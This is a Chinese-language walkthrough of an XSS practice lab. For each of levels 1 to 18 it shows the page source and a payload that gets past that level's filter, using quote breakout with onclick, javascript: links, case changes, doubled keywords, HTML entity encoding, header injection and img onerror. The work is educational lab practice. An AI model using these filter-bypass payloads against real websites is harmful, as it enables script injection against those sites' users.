前面写过几关,接下来就直接写思路了,不贴过多图了
xss的技巧就是找输入输出
Less1
-
开局先看到了get参数,而且和图片上面显示的一模一样
-
我们可以试试这里是不是可以进行xss注入
-
修改get参数:
-
<script>alert(1)</script>
-
-
通关
Less2__htmlspecialchars()绕过
-
看见输入框就得暗自一笑,特别是正上面还有它的输出(不知道是不是,是不是试试就知道是不是了呗)
-
反手一个
-
<script>alert(1)</script>
-
-
闹着玩呢,上面正常回显了,但是没执行,我们查看源码,看看是不是哪被过滤了
-
源码如下:
-
<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level3.php?writing=wait"; } </script> <title>欢迎来到level2</title> </head> <body> <h1 align=center>欢迎来到level2</h1> <h2 align=center>没有找到和<script>alert(1)</script>相关的结果.</h2><center> <form action=level2.php method=GET> <input name=keyword value="<script>alert(1)</script>"> <input type=submit name=submit value="搜索"/> </form> </center><center><img src=level2.png></center> <h3 align=center>payload的长度:25</h3></body> </html>
-
-
眼尖的小伙伴已经看到了,回显位被过滤掉了,过滤了<>,具体是怎么过滤的呢
-
htmlspecialchars()函数
定义和用法
htmlspecialchars() 函数把一些预定义的字符转换为 HTML 实体。
预定义的字符是:
- & (和号)成为 &
- " (双引号)成为 "
- ’ (单引号)成为 ’
- < (小于)成为 <
- > (大于)成为 >
**提示:**要把特殊的 HTML 实体转换回字符,请使用 htmlspecialchars_decode() 函数。
.
语法
htmlspecialchars(string,flags,character-set,double_encode)
参数 描述 string 必需。规定要转换的字符串。 flags 可选。规定如何处理引号、无效的编码以及使用哪种文档类型。可用的引号类型:ENT_COMPAT - 默认。仅编码双引号。ENT_QUOTES - 编码双引号和单引号。ENT_NOQUOTES - 不编码任何引号。无效的编码:ENT_IGNORE - 忽略无效的编码,而不是让函数返回一个空的字符串。应尽量避免,因为这可能对安全性有影响。ENT_SUBSTITUTE - 把无效的编码替代成一个指定的带有 Unicode 替代字符 U+FFFD(UTF-8)或者 &#FFFD; 的字符,而不是返回一个空的字符串。ENT_DISALLOWED - 把指定文档类型中的无效代码点替代成 Unicode 替代字符 U+FFFD(UTF-8)或者 &#FFFD;。规定使用的文档类型的附加 flags:ENT_HTML401 - 默认。作为 HTML 4.01 处理代码。ENT_HTML5 - 作为 HTML 5 处理代码。ENT_XML1 - 作为 XML 1 处理代码。ENT_XHTML - 作为 XHTML 处理代码。 character-set 可选。一个规定了要使用的字符集的字符串。允许的值:UTF-8 - 默认。ASCII 兼容多字节的 8 位 UnicodeISO-8859-1 - 西欧ISO-8859-15 - 西欧(加入欧元符号 + ISO-8859-1 中丢失的法语和芬兰语字母)cp866 - DOS 专用 Cyrillic 字符集cp1251 - Windows 专用 Cyrillic 字符集cp1252 - Windows 专用西欧字符集KOI8-R - 俄语BIG5 - 繁体中文,主要在台湾使用GB2312 - 简体中文,国家标准字符集BIG5-HKSCS - 带香港扩展的 Big5Shift_JIS - 日语EUC-JP - 日语MacRoman - Mac 操作系统使用的字符集**注释:**在 PHP 5.4 之前的版本,无法被识别的字符集将被忽略并由 ISO-8859-1 替代。自 PHP 5.4 起,无法被识别的字符集将被忽略并由 UTF-8 替代。 double_encode 可选。一个规定了是否编码已存在的 HTML 实体的布尔值。TRUE - 默认。将对每个实体进行转换。FALSE - 不会对已存在的 HTML 实体进行编码。 -
balabala这么多,总之我们理解一个意思即可:就是把< > ’ " &转码了,具体转码的谁,可以输入看看输出
-
这下麻烦了,过滤了怎么办呢,其实绕过方法好多种,我们暂且由浅入深的去学叭
-
我们观察源码,发现下面还有一行代码竟然完美的输出了我们的payload
-
但是为什么不执行呢,那是因为我们需要去构造闭合,你哪见过包裹的字符串会被解析执行呢
-
很简单,直接上payload
-
"> <script>alert(1)</script>//
-
-
通关
-
原理如下
-
<input name=keyword value=""> <script>alert(1)</script>//">
-
前面构造闭合,后面注释
-
Less3__onclick绕过
-
有输入框,无输出,而且还有个get参数
-
我们先随便输入个东西看看输出点再说
-
反手一个
-
<script>alert(1)</script>
-
-
必然的不会被解析执行了
-
老规矩,看看源代码
-
<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level4.php?keyword=try harder!"; } </script> <title>欢迎来到level3</title> </head> <body> <h1 align=center>欢迎来到level3</h1> <h2 align=center>没有找到和<script>alert(1)</script>相关的结果.</h2><center> <form action=level3.php method=GET> <input name=keyword value='<script>alert(1)</script>'> <input type=submit name=submit value=搜索 /> </form> </center><center><img src=level3.png></center> <h3 align=center>payload的长度:25</h3></body> </html>
-
-
这和上一关简直一模一样,唯独的区别就是,上一关的通关方式也被过滤掉咯
-
完犊子,<>两个符号是用不得咯
-
那么就换个方法呗
-
我们用事件
-
事件是什么?
-
贴个链接去瞅瞅:https://www.runoob.com/js/js-events.html
-
好多事件喔,我们挑个最简单的去绕过吧,就用onclick
-
语法:
-
onclick=""
-
-
构造payload:
-
' onclick="alert(1)"
-
-
我去!!!还是不行,查看源代码。
-
发现双引号被过滤掉了,怪不得那个value的闭合方式要用单引号呢
-
简单,我们也用单引号呗
-
继续构造payload
-
' οnclick='alert(1)'
-
-
输完之后点提交,然后点一下输入框触发事件
-
成功
-
原理
-
<input name=keyword value='' onclick='alert(1)''>
-
前面构造闭合,增加点击事件
-
Less4__onclick绕过
-
有输入有输出,谁不喜欢呢
-
反手一个
-
<script>alert(1)</script>
-
-
当然不会有反应咯,老规矩,查看源代码
-
<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level5.php?keyword=find a way out!"; } </script> <title>欢迎来到level4</title> </head> <body> <h1 align=center>欢迎来到level4</h1> <h2 align=center>没有找到和<script>alert(1)</script>相关的结果.</h2><center> <form action=level4.php method=GET> <input name=keyword value="scriptalert(1)/script"> <input type=submit name=submit value=搜索 /> </form> </center><center><img src=level4.png></center> <h3 align=center>payload的长度:21</h3></body> </html>
-
-
审计,哈哈哈用个高大上的词
-
我们发现上面依旧是过滤了
-
但是下面那一行更奇怪,这次的过滤是直接把我的<>给去掉了。。。
-
活学活用,那就onclick()绕过一下
-
构造payload:
-
" οnclick="alert(1)"
-
-
无语,竟然直接绕过了
-
成功
-
那肯定是有别的方法的,不然这个题出的有什么意义
-
具体什么方法,先不管,我们且往下做,就会发现绕过的一百个姿势哈哈哈
Less5__<a> 标签绕过
-
输入输出,不错不错
-
老规矩
-
<script>alert(1)</script>
-
-
源代码
-
<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level6.php?keyword=break it out!"; } </script> <title>欢迎来到level5</title> </head> <body> <h1 align=center>欢迎来到level5</h1> <h2 align=center>没有找到和<script>alert(1)</script>相关的结果.</h2><center> <form action=level5.php method=GET> <input name=keyword value="<scr_ipt>alert(1)</script>"> <input type=submit name=submit value=搜索 /> </form> </center><center><img src=level5.png></center> <h3 align=center>payload的长度:26</h3></body> </html>
-
-
上面依旧被htmlspecialchars()函数过滤
-
下面这次来了个scr_ipt,无语了
-
我们试试onclik
-
" οnclick="alert(1)"
-
<input name=keyword value="" o_nclick="alert(1)"">
-
-
好家伙,onclick也给过滤
-
那么我们就请出新的解法吧
-
尊贵的a标签,其实就是超链接
-
普及知识:https://www.runoob.com/html/html-links.html
-
语法
-
<a href="www.baidu.com" >xxx</a>
-
-
单这一个有什么用呢,点一下跳转别的地方去了,没啥卵用
-
这时候就要引入另一个JavaScript的特性了
-
参考:https://www.runoob.com/js/js-void.html
-
语法
-
void func() javascript:void func() <a href="javascript:void(0)">单击此处什么也不会发生</a> <a href="javascript:void(alert('Warning!!!'))">点我!</a>
-
简而言之,就是可以通过这种形式去执行某个函数,方便吧
-
-
那么我们可以简化一下(为了方便测试哈)
-
javascript:alert(1)
-
-
构造payload:
-
"> <a href="javascript:alert(1)" >xxx</a> //
-
-
点击xxx
-
成功
-
原理:
-
<input name=keyword value=""> <a href="javascript:alert(1)" >xxx</a> //">
-
Less6__大小写绕过
-
输入
-
<script>alert(1)</script>
-
-
源代码
-
<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level7.php?keyword=move up!"; } </script> <title>欢迎来到level6</title> </head> <body> <h1 align=center>欢迎来到level6</h1> <h2 align=center>没有找到和<script>alert(1)</script>相关的结果.</h2><center> <form action=level6.php method=GET> <input name=keyword value="<scr_ipt>alert(1)</script>"> <input type=submit name=submit value=搜索 /> </form> </center><center><img src=level6.png></center> <h3 align=center>payload的长度:26</h3></body> </html>
-
-
依旧是过滤了script
-
我们试试onclick和href
-
输入
-
onclick href
-
-
发现都被过滤掉了
-
只能换别的方法咯
-
试试大小写绕过
-
输入
-
<Script>alert(1)</Script>
-
-
没被过滤
-
构造payload
-
"> <Script>alert(1)</Script> //
-
-
通关
-
原理
- html对大小写不敏感
Less7__双写绕过
-
输入
-
<script>alert(1)</script>
-
-
源代码
-
<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level8.php?keyword=nice try!"; } </script> <title>欢迎来到level7</title> </head> <body> <h1 align=center>欢迎来到level7</h1> <h2 align=center>没有找到和<script>alert(1)</script>相关的结果.</h2><center> <form action=level7.php method=GET> <input name=keyword value="<>alert(1)</>"> <input type=submit name=submit value=搜索 /> </form> </center><center><img src=level7.png></center> <h3 align=center>payload的长度:13</h3></body> </html>
-
-
script直接消失了,哈哈哈
-
这个好解决,双写一下jiuok
-
我们这样写
-
<scrscriptipt>alert(1)</scrscriptipt>
-
-
原理很简单嘛,你把中间那个消掉了,我旁边的刚好又凑成一对
-
上payload
-
"> <scrscriptipt>alert(1)</scrscriptipt> //
-
-
通关
-
前几关的方法行不行,有兴趣可以试试
Less8__编码绕过
-
输入
-
<script>alert(1)</script>
-
-
源代码
-
<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level9.php?keyword=not bad!"; } </script> <title>欢迎来到level8</title> </head> <body> <h1 align=center>欢迎来到level8</h1> <center> <form action=level8.php method=GET> <input name=keyword value="<script>alert(1)</script>"> <input type=submit name=submit value=添加友情链接 /> </form> </center><center><BR><a href="<scr_ipt>alert(1)</scr_ipt>">友情链接</a></center><center><img src=level8.jpg></center> <h3 align=center>payload的长度:27</h3></body> </html>
-
-
这一关有意思,给了我们一个href
-
但是script被过滤了,我们试试大小写
-
JAVASCRIPT:alert(1)
-
-
不行,全被转小写了,然后过滤掉了
-
我们试试onclick
-
" onclikc="alert(1)"
-
</center><center><BR><a href="" o_nclikc="alert(1)"">友情链接</a></center><center><img src=level8.jpg></center>
-
-
我们发现双引号过滤,onclick过滤
-
上网搜了搜,发现了一种思路,是采用html实体编码
-
知识普及:
HTML标签中的某些属性值可以使用 &#ASCII方式进行编码改写,并且支持十进制和十六进制。例如将 中的javascript:alert(‘xss’)进行编码:
&#十进制ASCII: javascript:alert('xss')
额,我这个上面显示不出来,因为那个编码自动被解析为html实体了,但是点击可以查看
参考:https://blog.csdn.net/phpdadao/article/details/22871559
-
具体怎么去转码,一个个查ASCII码表,然后前面再加上 &# 就太费劲了
-
格式:
&#十六进制;
-
简单写几行python代码实现一下
#字符转html实体
str=input("输入个字符串吧:")
#十进制
for i in str:
print(f'&#{ord(i)};',end='')
print()
#十六进制
for i in str:
print(f'&#{hex(ord(i))};',end='')
-
payload:
-
javascript:alert(1)
-
Less9__编码绕过
- 输入
<script>alert(1)</script>
- 发现被过滤掉了
- 过滤是最基本的,打开源代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level10.php?keyword=well done!";
}
</script>
<title>欢迎来到level9</title>
</head>
<body>
<h1 align=center>欢迎来到level9</h1>
<center>
<form action=level9.php method=GET>
<input name=keyword value="<script>alert(1)</script>">
<input type=submit name=submit value=添加友情链接 />
</form>
</center><center><BR><a href="您的链接不合法?有没有!">友情链接</a></center><center><img src=level9.png></center>
<h3 align=center>payload的长度:27</h3></body>
</html>
-
我们发现输入的链接不合法,那么我们就看看怎样才算合法
-
我们分别输入
-
www.baidu.com
-
http://www.baidu.com
-
-
发现前面的不合法,后面合法,我们猜测可能是对http关键词做了检测
-
那么我们试一下注入
javascript:alert(1)http://www.baidu.com
- 返回
<a href="javascr_ipt:alert(1)http://www.baidu.com">友情链接</a>
- 观察发现,script或者javascript被过滤,但是值得注意的是没有提示不合法链接
- 那么我们试试大小写绕过
- 发现还是过滤了
- 我们采用上一关的编码绕过,对scrip进行html实体编码
- payload:
javascript:alert(1)//http://www.baidu.com
- 注意要把后面的给注释掉,不然就执行不了,因为语法错误
Less10
- 我们发现除了get参数以外,其它没有地方可以输入了
- 我们先输入个
<script>alert(1)</script>
- 查看源代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level11.php?keyword=good job!";
}
</script>
<title>欢迎来到level10</title>
</head>
<body>
<h1 align=center>欢迎来到level10</h1>
<h2 align=center>没有找到和<script>alert(1)</script>相关的结果.</h2><center>
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
</form>
</center><center><img src=level10.png></center>
<h3 align=center>payload的长度:25</h3></body>
</html>
- 观察发现,被htmlspecialchars()过滤
- 但是下面竟然有三个输入框,只不过都被隐藏了,我们对它们进行注入试试,看看哪个有变化
- payload:
111&t_link=111&t_history=111&t_sort=111
- 查看源代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level11.php?keyword=good job!";
}
</script>
<title>欢迎来到level10</title>
</head>
<body>
<h1 align=center>欢迎来到level10</h1>
<h2 align=center>没有找到和111相关的结果.</h2><center>
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="111" type="hidden">
</form>
</center><center><img src=level10.png></center>
<h3 align=center>payload的长度:3</h3></body>
</html>
- 果然有一个做出了响应
- 我们在这里进行注入试试
- payload:
111&t_sort=" οnclick="alert(1)" type="text
- 输入框显示,点击通关
Less11__请求头referer注入
- 和上一关挺像的,但是注入之后发现都被过滤掉了
- 不过发现f12直接进行源代码的修改也可以直接通关
- 还有另一种方法
- 我们先看源代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level12.php?keyword=good job!";
}
</script>
<title>欢迎来到level11</title>
</head>
<body>
<h1 align=center>欢迎来到level11</h1>
<h2 align=center>没有找到和相关的结果.</h2><center>
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="asdad" type="hidden">
<input name="t_ref" value="http://a711ac4f-313a-4e0b-a80a-dbd66d814181.node4.buuoj.cn:81/level11.php?t_link=&t_history=dasda&t_sort=asdad&t_ref=http%3A%2F%2Fa711ac4f-313a-4e0b-a80a-dbd66d814181.node4.buuoj.cn%3A81%2Flevel11.php%3Fkeyword%3Dgood%2520job%21" type="hidden">
</form>
</center><center><img src=level11.png></center>
<h3 align=center>payload的长度:0</h3></body>
</html>
- 发现这次多了个输入框,但是输入的内容是一个链接
- 这个输入框的名字叫做 t_ref
- 我们有点能联想到http的请求头中的referer字段了
- 先看看那个链接是哪里,搜索后发现是第十关
- 而referer的信息就是给服务器传输当前请求是从哪个页面的uri发起的,那么,如果我们刷新一下这个页面,是不是这个value的值就会变为第十一关的uri呢
- 刷新之后,发现我们的猜想是正确的,那么说明我们可以对referer进行注入,burp抓包进行修改即可
Less12__User-Agent注入
- 查看源代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level13.php?keyword=good job!";
}
</script>
<title>欢迎来到level12</title>
</head>
<body>
<h1 align=center>欢迎来到level12</h1>
<h2 align=center>没有找到和aaa相关的结果.</h2><center>
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
<input name="t_ua" value="Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36 SLBrowser/8.0.0.10171 SLBChan/25" type="hidden">
</form>
</center><center><img src=level12.png></center>
<h3 align=center>payload的长度:3</h3></body>
</html>
- 一眼就看到了User-Agent的信息,说明这道题可以在这进行注入
Less13__Cookie注入
- 和之前一样,抓包修改
Less14
- 题目有问题,做不了
Less15__ng-include
- 第十五关加载的有点慢
- 进入之后,先查看一下源代码
<html ng-app>
<head>
<meta charset="utf-8">
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.2.0/angular.min.js"></script>
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level16.php?keyword=test";
}
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<body><span class="ng-include:'level15.png'"></span></body>
- 这一关可能是网站本身的问题吧,没有成功
- 主要考察了:ng-include
- 参考:https://www.runoob.com/angularjs/ng-ng-include.html
- 类似于php include文件包含漏洞
Less16__字符过滤
- 经典一句话先试试
- 发现被过滤
- /,空格,等都被过滤了
- 所以我们需要使用不需要闭合的标签,并且不能使用空格
- 不使用空格就使用回车呗
- payload:
?keyword=<img%0asrc=1%0aonerror=alert(1)>
- %0a是回车的url编码
- onerror事件:https://www.runoob.com/jsref/event-onerror-media.html
Less17
- 不支持插件,写不了
Less18
- 同上
后面几关都不会写,可能是没有flash的原因,那玩意麻烦死了不想下了,之前下了个玩4399,到最后还是不会玩,估计是浏览器不支持啥的